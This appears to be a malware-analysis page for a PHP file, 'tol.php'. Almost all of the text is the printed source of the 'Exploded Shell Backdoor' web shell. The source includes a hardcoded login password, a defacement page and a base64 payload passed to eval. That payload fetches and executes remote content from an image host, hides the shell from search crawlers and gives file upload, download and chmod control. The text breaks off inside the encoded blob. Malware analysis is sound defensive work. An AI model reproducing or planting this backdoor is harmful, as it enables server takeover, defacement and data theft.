PHP Malware Analysis

tol.php

md5: 82f1dafb81bbc657fac81aaaf80258f8

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Title

URLs


Deobfuscated PHP code

<?php

@ini_set('output_buffering', 0);
// //@ini_set('display_errors', 0); // //@ini_set('error_reporting', 0); // /* ##################################################### ## Name : Exploded Shell Backdoor ## ## Version : v1.5 Mini ## ## Author : Muhammad Supiani a.k.a ./Port22 ## ## Contact : Port22cyber@gmail.com ## ## Report : Port22exploded@gmail.com ## ## (c) 2017 www.security-exploded.orgs ## ##################################################### */ $pass = "9e3e935b7a61f3faf5afd5d9082936db"; // Password Encrypted By MD5, pass is:" m1x " $title = "Security Exploded Shell Backdoor"; // Title $color = "grey"; // Color $background= "http://oi58.tinypic.com/2u8fmnn.jpg"; // Background $logo = "http://oi58.tinypic.com/10r33mq.jpg"; // Logo $music = ""; // Music, isi url music elu :v *cuman bisa didengerin di "about" :v , malas gw taroh di depan, soalnya kalok ada yg nggak suka :v $script_deface = "<html><head><title>Hacked By ./Port22</title></head><body>Hacked by ./Port22 <br> Crew's : Milton | Aris Dot ID | ./r00t_NTx | ./Port22 | MyMind404 | ./KriZ | ./BlackJoker |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>"; //Script Deface. (html, php, txt) /* Content is encrypted by gzdeflate , base64 , and others . if you want the source code , please use the tool "PHP Decrypter". In case you dont trust me :-P */ eval(base64_decode("CiR4TmFtZSA9ICJTZWN1cml0eSBFeHBsb2RlZCI7CiR2ZXJzaSA9ICJ2MS41IE1pbmkiOyAvLyBTaGVsbCBWZXJzaW9uCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IApAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IAppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyAKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgIGV4aXQ7IH0KJGluZG89ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vaW1hZ2UuaWJiLmNvL2N0M1pybi9pbmRvbmVzaWFfaWNvbi5wbmciKTsgIApAc2Vzc2lvbl9zdGFydCgpOyAKQGVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyAKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAc2V0X3RpbWVfbGltaXQoMCk7IApAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyAKQGRlZmluZSgnVkVSU0lPTicsICcyLjEnKTsgCmV2YWwoZ3ppbmZsYXRlKHN1YnN0cigkaW5kbywxOTM0KSkpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgCiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7IHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IH0gCiAgICAkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsgCn0gCmZ1bmN0aW9uIHByaW50TG9naW4oKSB7IAo/PjxodG1sPjxoZWFkPgo8bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj4KPHRpdGxlPlNlY3VyaXR5IEV4cGxvZGVkPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7IGJhY2tncm91bmQtY29sb3I6dHJhbnNwYXJhbjtiYWNrZ3JvdW5kOiMwMDA7YmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vb2k2MC50aW55cGljLmNvbS9pbjc0cGkuanBnIik7YmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOyAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0OyB9IAoudGFibmV6eyBtYXJnaW46MzBweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyBjb2xvcjogZ3JleTsgCi1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsgLWtodG1sLWJvcmRlci1yYWRpdXM6IDVweDsgYm9yZGVyLXJhZGl1czogNXB4O30KYm9keSx0ZCx0aCB7Zm9udC1mYW1pbHk6IFZlcmRhbmE7Zm9udC1zaXplOiAxMnB4O2NvbG9yOiBncmV5O2ZvbnQtd2VpZ2h0OiBib2xkO30KaW5wdXQge0JPUkRFUi1SSUdIVDpncmV5IDFweCBzb2xpZDtCT1JERVItVE9QOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1MRUZUOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1CT1RUT006IGdyZXkgMXB4IHNvbGlkO0JBQ0tHUk9VTkQtQ09MT1I6ICMxMTExMTE7Q09MT1I6IGdyZXk7Zm9udDogOHB0IFZlcmRhbmE7fQo8L3N0eWxlPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDQ4LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+Cgo8aW1nIHNyYz0iaHR0cDovL29pNTgudGlueXBpYy5jb20vMnU4Zm1ubi5qcGciIHRpdGxlPSIuL1BvcnQyMiIgc3R5bGU9ImZsb2F0OmxlZnQiIGFsdD0iRXhwbG9kZWQiIGhlaWdodD0nMjUwJyB3aWR0aD0nNzAwJy8+Cjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+Cjx0YWJsZT4KPGZvcm0gbWV0aG9kPSdwb3N0Jz4KPHRyPgo8dGQ+PGltZyBzcmM9J2h0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnJyBjbGFzcz0idGFibmV6IiAgaGVpZ2h0PScyMCcgd2lkdGg9JzI0Jz48L3RkPgo8dGQ+PGlucHV0IGNsYXNzPSJ0YWJuZXoiIHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPjwvdGQ+Cjx0ZD48aW5wdXQgY2xhc3M9InRhYm5leiIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4gISI+PC90ZD4KPC90cj4KPC9mb3JtPgo8L3RhYmxlPgo8L2JvZHk+CjwvaHRtbD4KICAgIDw/cGhwIGJyZWFrIDsKICAgIGV4aXQ7IAp9IAppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpIAogICAgaWYoIGVtcHR5KCAkcGFzcyApIHx8IAogICAgICAgICggaXNzZXQoICRfUE9TVFsncGFzcyddKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJHBhc3MgKSApICkgCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7IAogICAgZWxzZSAKICAgICAgICBwcmludExvZ2luKCk7CiAgICAgICAgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7CmlmKGlzc2V0KCRfR0VUWydkbCddKSAmJiAoJF9HRVRbJ2RsJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsJ107CiAgICAkZmlsZXogPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZGxnemlwJ10pICYmICgkX0dFVFsnZGxnemlwJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOwogICAgJGZpbGV6ID0gZ3plbmNvZGUoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7CiAgIGhlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iLmd6XCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9Ci8vIHZpZXcgaW1hZ2UKaWYoaXNzZXQoJF9HRVRbJ2ltZyddKSl7CiAgICAgICAgQG9iX2NsZWFuKCk7IAogICAgICAgICRkID0gbWFnaWNib29tKCRfR0VUWyd5J10pOwogICAgICAgICRmID0gJF9HRVRbJ2ltZyddOwogICAgICAgICRpbmYgPSBAZ2V0aW1hZ2VzaXplKCRkLiRmKTsgCiAgICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsgCiAgICAgICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07IAogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOwogICAgICAgIEBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHB1YmxpYyIpOyAKICAgICAgICBAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsgCiAgICAgICAgQGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7ICAKICAgICAgICBAcmVhZGZpbGUoJGQuJGYpOyAKICAgICAgICBleGl0OyAKfQovL3BocCBpbmZvCiRwaHBpbmZvID0gIj8mYW1wO3g9cGhwaW5mbyI7Ci8vIFNlcnZlciBzb2Z0d2FyZQoKJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKLy8gQ01ECiRjbWRib3ggPSAiaGVscCI7Ci8vIFNlcnZlciBQb3J0CiRzZXJ2ZXJwb3J0ID0gJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl07Ci8vIEJhY2tkb29yIE5hbWUKJGJhY2tkb29yX25hbWUgPSAiJHRpdGxlICI7Ci8vIGNoZWNrIHNhZmVtb2RlCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpICAkc2FmZW1vZGUgPSBUUlVFOyBlbHNlICRzYWZlbW9kZSA9IEZBTFNFOwovLyB1bmFtZSAtYQokc3lzdGVtID0gQHBocF91bmFtZSgpOwovLyBkZXRlY3RvcgpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5PRkY8L2ZvbnQ+PC9iPiI7fX0KZnVuY3Rpb24gdGVzdG15c3FsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Y3VybCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7IH1lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9fQpmdW5jdGlvbiB0ZXN0bXNzcWwoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTsgfWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7IH19CmZ1bmN0aW9uIHRlc3RwZXJsKCkge2lmIChleGUoJ3BlcmwgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0cHl0aG9uKCkge2lmIChleGUoJ3B5dGhvbiAtaCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RydWJ5KCkge2lmIChleGUoJ3J1YnkgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Z2NjKCkge2lmIChleGUoJ2djYyAtLWhlbHAnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0amF2YSgpIHtpZiAoZXhlKCdqYXZhIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0KLy8gY2hlY2sgb3MKaWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikgJHdpbiA9IFRSVUU7CmVsc2UgJHdpbiA9IEZBTFNFOyAKLy8gY2hhbmdlIGRpcmVjdG9yeQppZihpc3NldCgkX0dFVFsneSddKSl7CiAgICBpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXsKICAgICAgICAkcHdkID0gJF9HRVRbJ3ZpZXcnXTsKICAgICAgICBAY2hkaXIoJHB3ZCk7CiAgICB9CiAgICBlbHNlewogICAgICAgICRwd2QgPSAkX0dFVFsneSddOwogICAgICAgIEBjaGRpcigkcHdkKTsKICAgIH0KfQovL2hkZApmdW5jdGlvbiBjb252ZXJ0Qnl0ZSgkcykgewppZigkczw9MCkgcmV0dXJuIDA7CiAgICAkdyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwogICAgJGUgPSBmbG9vcihsb2coJHMpL2xvZygxMDI0KSk7CiAgICByZXR1cm4gc3ByaW50ZignJS4yZiAnLiR3WyRlXSwgKCRzL3BvdygxMDI0LCBmbG9vcigkZSkpKSk7Cn0KLy8KCi8vIHVzZXJuYW1lLCBpZCwgc2hlbGwgcHJvbXB0IGFuZCB3b3JraW5nIGRpcmVjdG9yeQppZighJHdpbil7CiAgICBpZighJHVzZXIgPSByYXBpaChleGUoIndob2FtaSIpKSkgJHVzZXIgPSAiIjsKICAgIGlmKCEkaWQgPSByYXBpaChleGUoImlkIikpKSAkaWQgPSAiIjsKICAgICRwcm9tcHQgPSAkdXNlci4iIFwkICI7CiAgICAkcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7Cn0KZWxzZSB7CiAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAkaWQgPSAkdXNlcjsKICAgICRwcm9tcHQgPSAkdXNlci4iICZndDsiOwogICAgJHB3ZCA9IHJlYWxwYXRoKCIuIikuIlxcIjsKICAgIC8vIGZpbmQgZHJpdmUgbGV0dGVycwogICAgJHYgPSBleHBsb2RlKCJcXCIsJGQpOyAKICAgICR2ID0gJHZbMF07IAogICAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgCiAgICB7IAogICAgICAkYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7CiAgICAgIGlmICgkYm9vbCkgCiAgICAgIHsgCiAgICAgICAgICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj95PSIuJGxldHRlci4iOlxcXCI+WyAiOwogICAgICAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSAKICAgICAgICAgICBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9XCJnYXlhXCI+Ii4kbGV0dGVyLiI8L3NwYW4+Ijt9IAogICAgICAgICAgICRsZXR0ZXJzIC49ICIgPC9hPl0gIjsgCiAgICAgIH0gIAogfSAKfQoKZnVuY3Rpb24gZ2V0cmVhbGlwKCl7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsgCn1lbHNlaWYgKCFlbXB0eSgkU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkKLy9UTyBDSEVLIElQIElTIFBBU1MgRlJPTSBQUk9YWQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsKfWVsc2UgeyAkaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cn0KcmV0dXJuICRpcDsKfQoKIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgewogICAgaWYgKCRkaXNhYmxlZnVuYz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSl7IHJldHVybiAiPHNwYW4gc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuJGRpc2FibGVmdW5jLiI8L2I+PC9zcGFuPiI7IH0KICAgIGVsc2UgeyByZXR1cm4gIjxzcGFuIHN0eWxlPSdjb2xvcjojMDBGRjAwJz48Yj5OT05FPC9iPjwvc3Bhbj4iOyB9CiAgICB9CiAgICAKaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsKZWxzZSAkcG9zaXggPSBGQUxTRTsKLy8gc2VydmVyIGlwCiRzZXJ2ZXJfaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwovLyB5b3VyIGlwIDstKQokbXlfaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJGFkbWluX2lkPSRfU0VSVkVSWydTRVJWRVJfQURNSU4nXTsKJGJpbmRwb3J0ID0gIjEzMTIzIjsKJGJpbmRwb3J0X3Bhc3MgPSAiZXhwbG9kZWQiOwovLyBTZWN1cml0eSBFeHBsb2RlZAokdXBsaW5rID0gImh0dHA6Ly93d3cuc2VjdXJpdHktZXhwbG9kZWQub3JnL3NlYXJjaC9sYWJlbC9FeHBsb2RlZCBTaGVsbCBCYWNrZG9vciI7Ci8vd2lsd29ybQokcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICAkbWlsbGluaz0naHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz0nOwogICAgCiAgICBpZiggc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSApCiAgICAgICAgJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSApOwogICAgZWxzZQogICAgICAgICRtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpICk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgIC8vIEV4cGxvaXQtZGIKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgICRleHBsaW5rID0gJ2h0dHA6Ly9leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX2Rlc2NyaXB0aW9uPSc7CiAgICAKICAgIGlmKCBzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlICkKICAgICAgICAkZXhwbGluayAuPSB1cmxlbmNvZGUoICdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpICk7CiAgICBlbHNlCiAgICAgICAgJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCAka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsMykgKTsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOwogICAgfQovLyBzZXBhcmF0ZSB0aGUgd29ya2luZyBkaXJlY290b3J5CiRwd2RzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRwd2QpOwokcHdkdXJsID0gIiI7CmZvcigkaSA9IDAgOyAkaSA8IHNpemVvZigkcHdkcyktMSA7ICRpKyspewogICAgJHBhdGh6ID0gIiI7CiAgICBmb3IoJGogPSAwIDsgJGogPD0gJGkgOyAkaisrKXsKICAgICAgICAkcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7CiAgICB9CiAgICAkcHdkdXJsIC49ICI8YSBocmVmPVwiP3k9Ii4kcGF0aHouIlwiPiIuJHB3ZHNbJGldLiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7Cn0KICAgIAovLyBSZW5hbWUgZmlsZSBvciBmb2xkZXIKaWYoaXNzZXQoJF9QT1NUWydSZW5hbWUnXSkpewogICAgJG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOwogICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwogICAgQFJlbmFtZSgkcHdkLiRvbGQsJHB3ZC4kbmV3KTsKICAgICRmaWxlID0gJHB3ZC4kbmV3Owp9CmlmKGlzc2V0KCRfUE9TVFsndXBsb2FkY29tcHQnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7IAogICAgICAgICRzdGF0ID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsJHBpbmRhaCk7fQogICAgICAgIH0KCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsKaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnJzsgfQplbHNlIHsgZWNobyAnJzsgfQp9CmlmKGlzc2V0KCRfUE9TVFsnQ2htb2QnXSkpeyAKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30gICAgCmlmKGlzc2V0KCRfUE9TVFsnQ2htb2RfZm9sZGVyJ10pKXsKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KLy8gcHJpbnQgdXNlZnVsIGluZm8KCiRidWZmICA9ICJTaGVsbCBCYWNrZG9vciA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjokY29sb3InPiAkYmFja2Rvb3JfbmFtZSAkdmVyc2k8L2ZvbnQ+PGI+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPjwvYT48L2I+PC9iPjwvZm9udD48Yj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+PGEgaHJlZj0nJHVwbGluaycgdGl0bGU9J1NlYXJjaCBTaGVsbCBCYWNrZG9vciBGcm9tIFNlY3VyaXR5IEV4cGxvZGVkJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlsgU2VjdXJpdHkgRXhwbG9kZWQgXTwvYT48L2I+PC9mb250Pjxicj5WZXJzaW9uIDogPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiRjb2xvcic+Ii4kdmVyc2kuIjwvZm9udD48L2E+PC9iPjxicj4gU29mdHdhcmUgOiA8Yj4iLiRzb2Z0d2FyZS4iPC9iPjxiciAvPiI7CiRidWZmIC49ICJTeXN0ZW0gT1MgOiA8Yj4iLiRzeXN0ZW0uIiAgfCA8YSBocmVmPSdodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9Ii51cmxlbmNvZGUoQHBocF91bmFtZSgpKS4iJyB0aXRsZT0nU2VhcmNoIFN5c3RlbSBPUyBGcm9tIEdvb2dsZScgdGFyZ2V0PSdfYmxhbmsnPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIEdvb2dsZSBdPC9mb250PjwvYT4gfCA8YSBocmVmPSciLiRtaWxsaW5rLiInIHRpdGxlPSdTZWFyY2ggS2